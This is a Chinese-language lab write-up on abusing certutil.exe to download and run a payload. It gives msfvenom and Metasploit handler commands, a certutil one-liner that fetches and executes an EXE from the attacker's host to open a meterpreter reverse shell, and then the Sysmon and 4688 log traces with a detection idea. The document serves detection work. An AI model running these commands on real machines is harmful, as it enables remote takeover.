简介
Certutil.exe是作为证书服务的一部分安装的命令行程序。 我们可以使用此工具在目标计算机上执行恶意EXE文件,并获取meterpreter会话。
补充说明:在高版本操作系统中,可以通过配置策略,对进程命令行参数进行记录。日志策略开启方法:本地计算机策略>计算机配置>管理模板>系统>审核进程创建>在过程创建事件中加入命令行>启用
,同样也可以在低版本操作系统中部署sysmon,通过sysmon日志进行监控。
基础日志
windows 安全日志/SYSMON日志(需要自行安装)
测试复现
环境准备
攻击机:Kali2019
靶机:win7(sysmon)
攻击分析
生成payload.exe
通过msfvenom 生成恶意可执行文件,并使用start multi/handler获取目标计算机反向shell会话。
msfvenom -p windows/meterpreter/reverse_tcp lhost=192.168.126.146 lport=1234 -f exe > shell.exe
执行监听
msf5 > use exploit/multi/handler
msf5 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/handler) > set lhost 192.168.126.146
lhost => 192.168.126.146
msf5 exploit(multi/handler) > set lport 1234
lport => 1234
msf5 exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 192.168.126.146:1234
开启小型http服务
root@12306Br0:~# python2 -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
靶机执行payload
certutil.exe -urlcache -split -f http://192.168.126.146:1234/shell.exe shell.exe & shell.exe
反弹shell
[*] Started reverse TCP handler on 192.168.126.146:1234
[*] Sending stage (180291 bytes) to 192.168.126.149
[*] Sending stage (180291 bytes) to 192.168.126.149
[*] Meterpreter session 1 opened (192.168.126.146:1234 -> 192.168.126.149:49172) at 2020-04-17 15:59:50 +0800
测试留痕
#sysmon日志
EventID: 1
Image: C:\Windows\System32\certutil.exe
FileVersion: 6.1.7600.16385 (win7_rtm.090713-1255)
Description: CertUtil.exe
Product: Microsoft® Windows® Operating System
Company: Microsoft Corporation
OriginalFileName: CertUtil.exe
CommandLine: certutil.exe -urlcache -split -f http://192.168.126.146:1234/shell.exe shell.exe
#win7安全日志
EventID:4688
进程信息:
新进程 ID:0xbcc
新进程名: C:\Windows\System32\certutil.exe
#windows server 2008(不含2008)以上系统可以配置审核进程创建策略,达到记录命令行参数的效果。通过命令行参数进行监控分析。
检测规则/思路
无具体检测规则,可根据进程创建事件4688/1(进程名称、命令行)进行监控。本监控方法需要自行安装配置审核策略/sysmon。